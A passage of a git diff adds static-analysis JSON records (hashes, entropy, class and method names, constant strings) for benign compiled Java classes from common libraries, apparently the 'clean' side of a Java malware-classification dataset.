"e384148448a2777e3bca900078a71dd0540d415b72a7353d9f70a172f70d7195", "md5": "249d518dcde61862841e1a396bdd5df8", "parent_sha256": "e384148448a2777e3bca900078a71dd0540d415b72a7353d9f70a172f70d7195"}} \ No newline at end of file diff --git a/java_classification/data/clean/e39392175ee6f6ed99fd0ddc034adb89dbb0bdb5029ebf7bb234e87fa70a3af4.results b/java_classification/data/clean/e39392175ee6f6ed99fd0ddc034adb89dbb0bdb5029ebf7bb234e87fa70a3af4.results new file mode 100755 index 0000000..477bd94 --- /dev/null +++ b/java_classification/data/clean/e39392175ee6f6ed99fd0ddc034adb89dbb0bdb5029ebf7bb234e87fa70a3af4.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "EmptyImmutableTable.java", "class_name": "com/google/common/collect/EmptyImmutableTable", "access_permissions": ["ACC_FINAL", "ACC_SUPER"], "major_version": 49, "method_names": ["", "size", "get", "isEmpty", "equals", "hashCode", "cellSet", "column", "columnKeySet", "columnMap", "contains", "containsColumn", "containsRow", "containsValue", "row", "rowKeySet", "rowMap", "toString", "values", "readResolve", "columnMap", "rowMap", "values", "columnKeySet", "rowKeySet", "cellSet", "column", "row", ""], "minor_version": 0, "const_pool_count": 123}}, "_id": "15d9260a-ffb2-42e9-9667-4ebfe7a6a432", "verbose": {"java": {"signatures": ["()Lcom/google/common/collect/ImmutableSet;>;", "(Ljava/lang/Object;)Lcom/google/common/collect/ImmutableMap;", "()Lcom/google/common/collect/ImmutableSet;", "()Lcom/google/common/collect/ImmutableMap;>;", "(Ljava/lang/Object;)Lcom/google/common/collect/ImmutableMap;", "()Lcom/google/common/collect/ImmutableSet;", "()Lcom/google/common/collect/ImmutableMap;>;", "()Lcom/google/common/collect/ImmutableCollection;", "Lcom/google/common/collect/ImmutableTable;"], "constant strings": ["{}"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "c29021d6abe6bdd6718b6b001b4e8e11c4747838", "file_name": "java_clean/e39392175ee6f6ed99fd0ddc034adb89dbb0bdb5029ebf7bb234e87fa70a3af4", "_id": "15d9260a-ffb2-42e9-9667-4ebfe7a6a432", "score": 0, "entropy": 4.813694939470742, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 4621, "ssdeep": "96:N9PzFlLF5M32Spk4qblCtNEFaJ2Y6shu52w:HRlLXMGSpYblCt8R92w", "sha256": "e39392175ee6f6ed99fd0ddc034adb89dbb0bdb5029ebf7bb234e87fa70a3af4", "md5": "9f1af96d5d7434caecc72e208baab6c3", "parent_sha256": "e39392175ee6f6ed99fd0ddc034adb89dbb0bdb5029ebf7bb234e87fa70a3af4"}} \ No newline at end of file diff --git a/java_classification/data/clean/e3a87b6db8e56623dcc5d4f7948e8deac1a553ad9dd0a912d21d9b0abd7dd630.results b/java_classification/data/clean/e3a87b6db8e56623dcc5d4f7948e8deac1a553ad9dd0a912d21d9b0abd7dd630.results new file mode 100755 index 0000000..6883760 --- /dev/null +++ b/java_classification/data/clean/e3a87b6db8e56623dcc5d4f7948e8deac1a553ad9dd0a912d21d9b0abd7dd630.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"major_version": 50, "class_name": "hu/openig/screen/items/SpacewarScreen$SelectionPanel$2", "access_permissions": ["ACC_SUPER"], "interfaces": ["hu/openig/core/Action0"], "sourcefile": "SpacewarScreen.java", "method_names": ["", "invoke"], "minor_version": 0, "const_pool_count": 49}}, "_id": "19cf0084-cff7-4fdd-b4c4-ecb4fff9362b", "metadata": {"mimetype": "application/x-java-applet", "sha1": "54bef75beafee780fdfbd8d7a39789b400125bd6", "file_name": "java_clean/e3a87b6db8e56623dcc5d4f7948e8deac1a553ad9dd0a912d21d9b0abd7dd630", "_id": "19cf0084-cff7-4fdd-b4c4-ecb4fff9362b", "score": 0, "entropy": 5.193932570111627, "libmagic": "compiled Java class data, version 50.0 (Java 1.6)", "file_size": 1113, "ssdeep": "24:JQQMOwLQdSQ16ljaQfVQEiQiakyOugu4dWIroaDLn:J6OvV6l78jjdWG", "sha256": "e3a87b6db8e56623dcc5d4f7948e8deac1a553ad9dd0a912d21d9b0abd7dd630", "md5": "4de48b9160010091332158eb50dfb82a", "parent_sha256": "e3a87b6db8e56623dcc5d4f7948e8deac1a553ad9dd0a912d21d9b0abd7dd630"}} \ No newline at end of file diff --git a/java_classification/data/clean/e3f3cd4484734951c766c9cf0f58d6d1212e75867a00db55be8a312de22377ca.results b/java_classification/data/clean/e3f3cd4484734951c766c9cf0f58d6d1212e75867a00db55be8a312de22377ca.results new file mode 100755 index 0000000..819030b --- /dev/null +++ b/java_classification/data/clean/e3f3cd4484734951c766c9cf0f58d6d1212e75867a00db55be8a312de22377ca.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "ParameterItem.java", "class_name": "com/codeminders/hamake/params/ParameterItem", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER", "ACC_ABSTRACT"], "major_version": 50, "method_names": [""], "minor_version": 0, "const_pool_count": 16}}, "_id": "89a52279-c049-4fd9-b831-85d005e47830", "metadata": {"mimetype": "application/x-java-applet", "sha1": "ec73df96bca4ad30f36a12a241787dd6307cc845", "file_name": "java_clean/e3f3cd4484734951c766c9cf0f58d6d1212e75867a00db55be8a312de22377ca", "_id": "89a52279-c049-4fd9-b831-85d005e47830", "score": 0, "entropy": 4.837224148526288, "libmagic": "compiled Java class data, version 50.0 (Java 1.6)", "file_size": 324, "ssdeep": "6:C+szswQpAEgPsoqhaAMd0LFn72AMd08QRPK8bSlo78A/ZkUV2MuR:C+SDQulPsoILPnxRC82S/xkz", "sha256": "e3f3cd4484734951c766c9cf0f58d6d1212e75867a00db55be8a312de22377ca", "md5": "77ab699a6e38295171725d8f762810d8", "parent_sha256": "e3f3cd4484734951c766c9cf0f58d6d1212e75867a00db55be8a312de22377ca"}} \ No newline at end of file diff --git a/java_classification/data/clean/e40e3a42edb0f5a5f97bd2012aceaa40694d2f98cf19980bf9e9e0fbfc7bf6e6.results b/java_classification/data/clean/e40e3a42edb0f5a5f97bd2012aceaa40694d2f98cf19980bf9e9e0fbfc7bf6e6.results new file mode 100755 index 0000000..7e6aafb --- /dev/null +++ b/java_classification/data/clean/e40e3a42edb0f5a5f97bd2012aceaa40694d2f98cf19980bf9e9e0fbfc7bf6e6.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "DFSClient.java", "class_name": "org/apache/hadoop/dfs/DFSClient$DNAddrPair", "access_permissions": ["ACC_SUPER"], "major_version": 49, "method_names": [""], "minor_version": 0, "const_pool_count": 29}}, "_id": "e3c8efde-374f-482b-9181-ed49e0b82f2b", "metadata": {"mimetype": "application/x-java-applet", "sha1": "fd218023357c771bc93d7e10b4aba66af6241be1", "file_name": "java_clean/e40e3a42edb0f5a5f97bd2012aceaa40694d2f98cf19980bf9e9e0fbfc7bf6e6", "_id": "e3c8efde-374f-482b-9181-ed49e0b82f2b", "score": 0, "entropy": 5.2127940923845655, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 631, "ssdeep": "12:rmfOgPIqaA/eNMIqfeJulPso2A6lQA4ku2QAvRaVw0cFY6ImyMaL8V:r4VtL/eNMtfeJuljYXhXv4Vw0cFYRmBV", "sha256": "e40e3a42edb0f5a5f97bd2012aceaa40694d2f98cf19980bf9e9e0fbfc7bf6e6", "md5": "0ea6c7f9604ff358cc74c1af0d5654d8", "parent_sha256": "e40e3a42edb0f5a5f97bd2012aceaa40694d2f98cf19980bf9e9e0fbfc7bf6e6"}} \ No newline at end of file diff --git a/java_classification/data/clean/e50f7fff99f7063491e81d66ab445af2758d0cf6a2e7370ec5b836654f07977e.results b/java_classification/data/clean/e50f7fff99f7063491e81d66ab445af2758d0cf6a2e7370ec5b836654f07977e.results new file mode 100755 index 0000000..9b0e616 --- /dev/null +++ b/java_classification/data/clean/e50f7fff99f7063491e81d66ab445af2758d0cf6a2e7370ec5b836654f07977e.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "MapConstraints.java", "class_name": "com/google/common/collect/MapConstraints$ConstrainedAsMapEntries", "access_permissions": ["ACC_SUPER"], "major_version": 49, "method_names": ["", "delegate", "iterator", "toArray", "toArray", "contains", "containsAll", "equals", "hashCode", "remove", "removeAll", "retainAll", "delegate", "delegate", "access$600"], "minor_version": 0, "const_pool_count": 121}}, "_id": "4bc034af-cb1b-48ef-a342-a6450af132ee", "verbose": {"java": {"signatures": ["Lcom/google/common/collect/MapConstraint<-TK;-TV;>;", "Ljava/util/Set;>;>;", "(Ljava/util/Set;>;>;Lcom/google/common/collect/MapConstraint<-TK;-TV;>;)V", "()Ljava/util/Set;>;>;", "()Ljava/util/Iterator;>;>;", "([TT;)[TT;", "(Ljava/util/Collection<*>;)Z", "(Ljava/util/Collection<*>;)Z", "(Ljava/util/Collection<*>;)Z", "Lcom/google/common/collect/ForwardingSet;>;>;"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "56909d07ac2ec8c8481b41473c3c68db087c96fa", "file_name": "java_clean/e50f7fff99f7063491e81d66ab445af2758d0cf6a2e7370ec5b836654f07977e", "_id": "4bc034af-cb1b-48ef-a342-a6450af132ee", "score": 0, "entropy": 5.136973653508248, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 4195, "ssdeep": "48:zVb1NyAcElhMSAVeU8WpY+5N/LpVZ9hbXaRmGblqtfrLntevzyPP3:zBfzlhMSAVeUR5FLd9hbXanlOHQL6", "sha256": "e50f7fff99f7063491e81d66ab445af2758d0cf6a2e7370ec5b836654f07977e", "md5": "90035f7e083c3d837f846849e4674be5", "parent_sha256": "e50f7fff99f7063491e81d66ab445af2758d0cf6a2e7370ec5b836654f07977e"}} \ No newline at end of file diff --git a/java_classification/data/clean/e534682854895f55d4d107205c41b8e16fe3f0799df84662802c0ac03c41af5c.results b/java_classification/data/clean/e534682854895f55d4d107205c41b8e16fe3f0799df84662802c0ac03c41af5c.results new file mode 100755 index 0000000..be9ba7f --- /dev/null +++ b/java_classification/data/clean/e534682854895f55d4d107205c41b8e16fe3f0799df84662802c0ac03c41af5c.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "InvalidJobConfException.java", "class_name": "org/apache/hadoop/mapred/InvalidJobConfException", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 49, "method_names": ["", ""], "minor_version": 0, "const_pool_count": 21}}, "_id": "63778254-f1b4-479f-a263-c6a2429a170b", "metadata": {"mimetype": "application/x-java-applet", "sha1": "5206bdcecfe255335584792b0bd38b0a15dc6551", "file_name": "java_clean/e534682854895f55d4d107205c41b8e16fe3f0799df84662802c0ac03c41af5c", "_id": "63778254-f1b4-479f-a263-c6a2429a170b", "score": 0, "entropy": 4.982568059007056, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 488, "ssdeep": "12:jqSDQulPsoOsOXWMP/MO8NrOXTAaNJ9wuVp6aM:jqyQuljF8gtUKap8", "sha256": "e534682854895f55d4d107205c41b8e16fe3f0799df84662802c0ac03c41af5c", "md5": "ee54fbc0e4121982a3dd14cfdb6b76c9", "parent_sha256": "e534682854895f55d4d107205c41b8e16fe3f0799df84662802c0ac03c41af5c"}} \ No newline at end of file diff --git a/java_classification/data/clean/e5c9c7d88a59d93d14d709c2e2ffa3ae4d82e16da3de5ca95bcbb91132225adf.results b/java_classification/data/clean/e5c9c7d88a59d93d14d709c2e2ffa3ae4d82e16da3de5ca95bcbb91132225adf.results new file mode 100755 index 0000000..39c85fb --- /dev/null +++ b/java_classification/data/clean/e5c9c7d88a59d93d14d709c2e2ffa3ae4d82e16da3de5ca95bcbb91132225adf.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"major_version": 49, "class_name": "com/google/common/collect/Multimaps$UnmodifiableAsMapValues$1", "access_permissions": ["ACC_SUPER"], "interfaces": ["java/util/Iterator"], "sourcefile": "Multimaps.java", "method_names": ["", "hasNext", "next", "remove", "next"], "minor_version": 0, "const_pool_count": 64}}, "_id": "74277985-2c61-4764-ba0a-08f2881312b0", "verbose": {"java": {"signatures": ["()Ljava/util/Collection;", "Ljava/lang/Object;Ljava/util/Iterator;>;"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "c4c4ed0de7524da72e025cc66a75b4fb9b0bdf28", "file_name": "java_clean/e5c9c7d88a59d93d14d709c2e2ffa3ae4d82e16da3de5ca95bcbb91132225adf", "_id": "74277985-2c61-4764-ba0a-08f2881312b0", "score": 0, "entropy": 5.18587489945557, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 1703, "ssdeep": "24:a0O8C80KuiNFKe88uljkK76Kdpznos8eo0tp9yWKH58fKx08qyB/w71B/snNF3p+:xSuKl+P0tCl4ywX/snNFZHlUEp8dOO", "sha256": "e5c9c7d88a59d93d14d709c2e2ffa3ae4d82e16da3de5ca95bcbb91132225adf", "md5": "eb4ba7343c03315e30422d47c2243133", "parent_sha256": "e5c9c7d88a59d93d14d709c2e2ffa3ae4d82e16da3de5ca95bcbb91132225adf"}} \ No newline at end of file diff --git a/java_classification/data/clean/e5e678e404c8d7d003fd89a12dc35b0f98414a16a332f171499b5598a232054e.results b/java_classification/data/clean/e5e678e404c8d7d003fd89a12dc35b0f98414a16a332f171499b5598a232054e.results new file mode 100755 index 0000000..118df07 --- /dev/null +++ b/java_classification/data/clean/e5e678e404c8d7d003fd89a12dc35b0f98414a16a332f171499b5598a232054e.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "VFSUtils.java", "class_name": "org/jboss/vfs/VFSUtils$1", "access_permissions": ["ACC_FINAL", "ACC_SUPER"], "major_version": 50, "method_names": ["", "read"], "minor_version": 0, "const_pool_count": 26}}, "_id": "5dcc2d7a-8d13-4371-b4d5-52b43dc221b5", "metadata": {"mimetype": "application/x-java-applet", "sha1": "5ebb0cb434733149d1a1bef43e94b002554a8af9", "file_name": "java_clean/e5e678e404c8d7d003fd89a12dc35b0f98414a16a332f171499b5598a232054e", "_id": "5dcc2d7a-8d13-4371-b4d5-52b43dc221b5", "score": 0, "entropy": 4.87613229004584, "libmagic": "compiled Java class data, version 50.0 (Java 1.6)", "file_size": 493, "ssdeep": "12:8Xg3SDQulPsoxhqp5OqSyiUSzp/xpKSmS/xkAkN8xkQJqqGd:DyQuljupeDp5pKS92wJqqc", "sha256": "e5e678e404c8d7d003fd89a12dc35b0f98414a16a332f171499b5598a232054e", "md5": "49997b0b030f6676baa97c8ff3c1bab8", "parent_sha256": "e5e678e404c8d7d003fd89a12dc35b0f98414a16a332f171499b5598a232054e"}} \ No newline at end of file diff --git a/java_classification/data/clean/e692c1d4243331d3736fd73c04d8bfdf981a8f445a93a63293d7f70ffa71ce62.results b/java_classification/data/clean/e692c1d4243331d3736fd73c04d8bfdf981a8f445a93a63293d7f70ffa71ce62.results new file mode 100755 index 0000000..f0f0827 --- /dev/null +++ b/java_classification/data/clean/e692c1d4243331d3736fd73c04d8bfdf981a8f445a93a63293d7f70ffa71ce62.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "AlreadySelectedException.java", "class_name": "org/apache/commons/cli/AlreadySelectedException", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 48, "method_names": ["", "", "getOptionGroup", "getOption"], "minor_version": 0, "const_pool_count": 63}}, "_id": "5f695b14-69a1-4131-b68b-4604971386bb", "verbose": {"java": {"constant strings": ["The option \\'", "\\' was specified but an option from this group ", "has already been selected: \\'", "\\'"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "6d8167869f8d1b2950304f8746af8d8f8f377a54", "file_name": "java_clean/e692c1d4243331d3736fd73c04d8bfdf981a8f445a93a63293d7f70ffa71ce62", "_id": "5f695b14-69a1-4131-b68b-4604971386bb", "score": 0, "entropy": 5.274659048912845, "libmagic": "compiled Java class data, version 48.0 (Java 1.4)", "file_size": 1390, "ssdeep": "24:XCAcxLfuljtFdK2FBcaLeUFoNXt+5gFVqHhOS0thF3rrBUf6p3pi:XCH1GlJ7EyHeNegaISU3rmf6p3pi", "sha256": "e692c1d4243331d3736fd73c04d8bfdf981a8f445a93a63293d7f70ffa71ce62", "md5": "7ca1b50bf02aa5579813917600dc7baf", "parent_sha256": "e692c1d4243331d3736fd73c04d8bfdf981a8f445a93a63293d7f70ffa71ce62"}} \ No newline at end of file diff --git a/java_classification/data/clean/e6a3f6a95b2d2e5a3d02147dfe8195402b954b940f3ad128717b68efb01e3539.results b/java_classification/data/clean/e6a3f6a95b2d2e5a3d02147dfe8195402b954b940f3ad128717b68efb01e3539.results new file mode 100755 index 0000000..9a3b68f --- /dev/null +++ b/java_classification/data/clean/e6a3f6a95b2d2e5a3d02147dfe8195402b954b940f3ad128717b68efb01e3539.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "DateFormatUtils.java", "class_name": "org/apache/commons/lang/time/DateFormatUtils", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 45, "method_names": ["", "formatUTC", "formatUTC", "formatUTC", "formatUTC", "format", "format", "format", "format", "format", "format", "format", "format", ""], "minor_version": 3, "const_pool_count": 116}}, "_id": "c7c96728-0776-4878-ac20-7bdc5878fce8", "verbose": {"java": {"JAVA String Analysis": {"combined strings entropy": 3.5818724912994373}, "constant strings": ["yyyy-MM-dd\\'T\\'HH:mm:ss", "yyyy-MM-dd\\'T\\'HH:mm:ssZZ", "yyyy-MM-dd", "yyyy-MM-ddZZ", "\\'T\\'HH:mm:ss", "\\'T\\'HH:mm:ssZZ", "HH:mm:ss", "HH:mm:ssZZ", "EEE, dd MMM yyyy HH:mm:ss Z"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "bde9c6e6aaa32c0196a5f10f191b0e8a13dc6c51", "file_name": "java_clean/e6a3f6a95b2d2e5a3d02147dfe8195402b954b940f3ad128717b68efb01e3539", "_id": "c7c96728-0776-4878-ac20-7bdc5878fce8", "score": 0, "entropy": 5.3224280740609995, "libmagic": "compiled Java class data, version 45.3", "file_size": 3437, "ssdeep": "48:iUhmT1k0tqzOYyFl7fIjyvOx2UWtmmCmJ3twikWoeTMyqX1hYBvxWPkjO8XV8XH1:cFlTvc2UWtmm91eiIbX/YBYsOm8XSM", "sha256": "e6a3f6a95b2d2e5a3d02147dfe8195402b954b940f3ad128717b68efb01e3539", "md5": "c6b1fe7590f9fed56b815bb3732b9829", "parent_sha256": "e6a3f6a95b2d2e5a3d02147dfe8195402b954b940f3ad128717b68efb01e3539"}} \ No newline at end of file diff --git a/java_classification/data/clean/e6b83460797d497351b3b95ca62427bcd55382b2b6a8677636e3150fe4ad1171.results b/java_classification/data/clean/e6b83460797d497351b3b95ca62427bcd55382b2b6a8677636e3150fe4ad1171.results new file mode 100755 index 0000000..7307f87 --- /dev/null +++ b/java_classification/data/clean/e6b83460797d497351b3b95ca62427bcd55382b2b6a8677636e3150fe4ad1171.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "LoadXMLAction.java", "class_name": "org/apache/log4j/chainsaw/LoadXMLAction", "access_permissions": ["ACC_SUPER"], "major_version": 45, "method_names": ["", "actionPerformed", "loadFile", "class$", ""], "minor_version": 3, "const_pool_count": 234}}, "_id": "53d0dd7e-8215-4616-a862-d7d4fcac0386", "verbose": {"java": {"JAVA String Analysis": {"combined strings entropy": 5.110635172844192, "obfuscated_data": {"signatures": {"file": "rot0"}, "base64": {"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/": "CHAINSAW"}}}, "constant strings": ["load file called", "Need to load a file", "loading the contents of ", "Loaded ", " events.", "CHAINSAW", "caught an exception loading the file", "Error parsing file - ", "\\n", "]>\\n", "\\n", "&data;\\n", "\\n", "org.apache.log4j.chainsaw.LoadXMLAction"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "b146801bab40aac1c1e07b6fa5949af06a533d35", "file_name": "java_clean/e6b83460797d497351b3b95ca62427bcd55382b2b6a8677636e3150fe4ad1171", "_id": "53d0dd7e-8215-4616-a862-d7d4fcac0386", "score": 0, "entropy": 5.792733762617781, "libmagic": "compiled Java class data, version 45.3", "file_size": 4342, "ssdeep": "48:HRIbpGLukukryh2l6hzNScxmuWvSHIlAV7ypF1toxoUqs6C+jl9Hzc7cYo8vA2ZQ:CbpttkpliWllmynb5JIbo84GLzgDkS", "sha256": "e6b83460797d497351b3b95ca62427bcd55382b2b6a8677636e3150fe4ad1171", "md5": "2d85f60b34c442aa5991529bfecc8d32", "parent_sha256": "e6b83460797d497351b3b95ca62427bcd55382b2b6a8677636e3150fe4ad1171"}} \ No newline at end of file diff --git a/java_classification/data/clean/e75657e852a516d269476d1710948b484474bf6c88860171649dc0ffceafb338.results b/java_classification/data/clean/e75657e852a516d269476d1710948b484474bf6c88860171649dc0ffceafb338.results new file mode 100755 index 0000000..d19d768 --- /dev/null +++ b/java_classification/data/clean/e75657e852a516d269476d1710948b484474bf6c88860171649dc0ffceafb338.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "Interners.java", "class_name": "com/google/common/collect/Interners$WeakInterner$1", "access_permissions": ["ACC_SUPER"], "major_version": 49, "method_names": ["", "hashCode", "equals"], "minor_version": 0, "const_pool_count": 61}}, "_id": "97f6dcd5-5a39-41a3-8753-926194904a11", "metadata": {"mimetype": "application/x-java-applet", "sha1": "7b98b7774e0ff8503f3336146e80863cd3ac0643", "file_name": "java_clean/e75657e852a516d269476d1710948b484474bf6c88860171649dc0ffceafb338", "_id": "97f6dcd5-5a39-41a3-8753-926194904a11", "score": 0, "entropy": 5.148487310606941, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 1515, "ssdeep": "24:LBgocC565XKuljIB4a7IzFM1NCA1uhzql3j4:T5UflwczFM1NVuhzqC", "sha256": "e75657e852a516d269476d1710948b484474bf6c88860171649dc0ffceafb338", "md5": "5468832e14a220ed3a66c23815688f4f", "parent_sha256": "e75657e852a516d269476d1710948b484474bf6c88860171649dc0ffceafb338"}} \ No newline at end of file diff --git a/java_classification/data/clean/e9e6cb4a9a979a45b202729c5417056cb5da77157c3dce93d9bbbc3b5fbac5f9.results b/java_classification/data/clean/e9e6cb4a9a979a45b202729c5417056cb5da77157c3dce93d9bbbc3b5fbac5f9.results new file mode 100755 index 0000000..7f6f867 --- /dev/null +++ b/java_classification/data/clean/e9e6cb4a9a979a45b202729c5417056cb5da77157c3dce93d9bbbc3b5fbac5f9.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"major_version": 49, "class_name": "org/apache/hadoop/mapred/TaskStatus", "access_permissions": ["ACC_SUPER", "ACC_ABSTRACT"], "interfaces": ["org/apache/hadoop/io/Writable", "java/lang/Cloneable"], "sourcefile": "TaskStatus.java", "method_names": ["", "", "getTaskID", "getIsMap", "getProgress", "setProgress", "getRunState", "getTaskTracker", "setTaskTracker", "setRunState", "getDiagnosticInfo", "setDiagnosticInfo", "getStateString", "setStateString", "getFinishTime", "setFinishTime", "getShuffleFinishTime", "setShuffleFinishTime", "getSortFinishTime", "setSortFinishTime", "getStartTime", "setStartTime", "getPhase", "setPhase", "getIncludeCounters", "setIncludeCounters", "getCounters", "setCounters", "getFetchFailedMaps", "addFetchFailedMap", "statusUpdate", "statusUpdate", "clearStatus", "clone", "write", "readFields", "createTaskStatus", "createTaskStatus", "createTaskStatus", "readTaskStatus", "writeTaskStatus", ""], "minor_version": 0, "const_pool_count": 310}}, "_id": "ab1a76a7-e5d4-4535-ad97-a601dc537a64", "verbose": {"java": {"signatures": ["()Ljava/util/List;"], "constant strings": [""]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "3b5f05505492571e0b398c605e6671eaf3dc5f1d", "file_name": "java_clean/e9e6cb4a9a979a45b202729c5417056cb5da77157c3dce93d9bbbc3b5fbac5f9", "_id": "ab1a76a7-e5d4-4535-ad97-a601dc537a64", "score": 0, "entropy": 5.242202043736186, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 8965, "ssdeep": "192:5hmkUldnBggpmPBbFyfrAuxdMd0p0mcs6Q2odYsX:5hmtig8PBAfrA79s1o+", "sha256": "e9e6cb4a9a979a45b202729c5417056cb5da77157c3dce93d9bbbc3b5fbac5f9", "md5": "0884f4ac5892e400cdd9bf4086fcf141", "parent_sha256": "e9e6cb4a9a979a45b202729c5417056cb5da77157c3dce93d9bbbc3b5fbac5f9"}} \ No newline at end of file diff --git a/java_classification/data/clean/ea9a7f91ace599097535199783971315d76503b6ebd64b09c7d1a3f7ae4a3758.results b/java_classification/data/clean/ea9a7f91ace599097535199783971315d76503b6ebd64b09c7d1a3f7ae4a3758.results new file mode 100755 index 0000000..e858bb5 --- /dev/null +++ b/java_classification/data/clean/ea9a7f91ace599097535199783971315d76503b6ebd64b09c7d1a3f7ae4a3758.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"major_version": 50, "class_name": "hu/openig/ui/UIImageButton$2", "access_permissions": ["ACC_SUPER"], "interfaces": ["java/awt/event/ActionListener"], "sourcefile": "UIImageButton.java", "method_names": ["", "actionPerformed"], "minor_version": 0, "const_pool_count": 57}}, "_id": "5496fccb-0e0f-4be4-882c-1e0defac78cf", "metadata": {"mimetype": "application/x-java-applet", "sha1": "c0eb6007feb67c160ff1b7e77d9d4ced89c8413a", "file_name": "java_clean/ea9a7f91ace599097535199783971315d76503b6ebd64b09c7d1a3f7ae4a3758", "_id": "5496fccb-0e0f-4be4-882c-1e0defac78cf", "score": 0, "entropy": 5.346778558969312, "libmagic": "compiled Java class data, version 50.0 (Java 1.6)", "file_size": 982, "ssdeep": "12:RlcRVilDQK8TYuZ9lPsoij0b+09kmu9lcC90hF/6j5lkdm2wyiUwkK+AwDCQpBtZ:RlcCD00U9ljij0kmu9UWNludkRngy6", "sha256": "ea9a7f91ace599097535199783971315d76503b6ebd64b09c7d1a3f7ae4a3758", "md5": "bfc79cd566e298d2683cd75d77be2c0c", "parent_sha256": "ea9a7f91ace599097535199783971315d76503b6ebd64b09c7d1a3f7ae4a3758"}} \ No newline at end of file diff --git a/java_classification/data/clean/eb18c112e6f7b45b8630f4b2648ab9361eb0b23a7212330ea64f3086f0031695.results b/java_classification/data/clean/eb18c112e6f7b45b8630f4b2648ab9361eb0b23a7212330ea64f3086f0031695.results new file mode 100755 index 0000000..d5252dd --- /dev/null +++ b/java_classification/data/clean/eb18c112e6f7b45b8630f4b2648ab9361eb0b23a7212330ea64f3086f0031695.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"major_version": 50, "class_name": "hu/openig/screen/items/AchievementsScreen$52", "access_permissions": ["ACC_SUPER"], "interfaces": ["hu/openig/core/Func1"], "sourcefile": "AchievementsScreen.java", "method_names": ["", "invoke", "invoke"], "minor_version": 0, "const_pool_count": 66}}, "_id": "390b5ce3-1dd2-4819-810e-9cd969cb5e4d", "verbose": {"java": {"signatures": ["Ljava/lang/Object;Lhu/openig/core/Func1;"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "c8c875c1ac66ea7926f6f4820ec1e41715b70c2b", "file_name": "java_clean/eb18c112e6f7b45b8630f4b2648ab9361eb0b23a7212330ea64f3086f0031695", "_id": "390b5ce3-1dd2-4819-810e-9cd969cb5e4d", "score": 0, "entropy": 5.300528875128569, "libmagic": "compiled Java class data, version 50.0 (Java 1.6)", "file_size": 1369, "ssdeep": "24:aHIBo6if+IRaBooGNBoQ6ljSZBolYMBoWlRM1C7vR+iBzZYLaEBs:m2wP6lLZlz39DD", "sha256": "eb18c112e6f7b45b8630f4b2648ab9361eb0b23a7212330ea64f3086f0031695", "md5": "02a1fe5ad0045e85b9aec275179adad9", "parent_sha256": "eb18c112e6f7b45b8630f4b2648ab9361eb0b23a7212330ea64f3086f0031695"}} \ No newline at end of file diff --git a/java_classification/data/clean/eb394359d28bdb9ae6bc6f3afa0dccb25f9c4d81ca4cd4ae440c6329e7098f6f.results b/java_classification/data/clean/eb394359d28bdb9ae6bc6f3afa0dccb25f9c4d81ca4cd4ae440c6329e7098f6f.results new file mode 100755 index 0000000..f98f1a9 --- /dev/null +++ b/java_classification/data/clean/eb394359d28bdb9ae6bc6f3afa0dccb25f9c4d81ca4cd4ae440c6329e7098f6f.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "S3ServiceMulti.java", "class_name": "org/jets3t/service/multithread/S3ServiceMulti$7", "access_permissions": ["ACC_SUPER"], "major_version": 48, "method_names": ["", "fireStartEvent", "fireProgressEvent", "fireCancelEvent", "fireCompletedEvent", "fireErrorEvent"], "minor_version": 0, "const_pool_count": 103}}, "_id": "9d996505-0dcc-48b5-ab8c-d8c955c4ef97", "metadata": {"mimetype": "application/x-java-applet", "sha1": "d23d50f90323015e8466048b58b7e52d831ebedd", "file_name": "java_clean/eb394359d28bdb9ae6bc6f3afa0dccb25f9c4d81ca4cd4ae440c6329e7098f6f", "_id": "9d996505-0dcc-48b5-ab8c-d8c955c4ef97", "score": 0, "entropy": 5.36114626792646, "libmagic": "compiled Java class data, version 48.0 (Java 1.4)", "file_size": 3284, "ssdeep": "24:WQUZTcteXp7DQUhwk7g7LTPuljb7cT7LLS1pxg6A/7K7tp+l7LU7g7LdbRt7DyjY:WTAuDwviloTDW+FfVyjMCQ25XUEdaQWH", "sha256": "eb394359d28bdb9ae6bc6f3afa0dccb25f9c4d81ca4cd4ae440c6329e7098f6f", "md5": "becea873084a3de7fb5719867f7c6570", "parent_sha256": "eb394359d28bdb9ae6bc6f3afa0dccb25f9c4d81ca4cd4ae440c6329e7098f6f"}} \ No newline at end of file diff --git 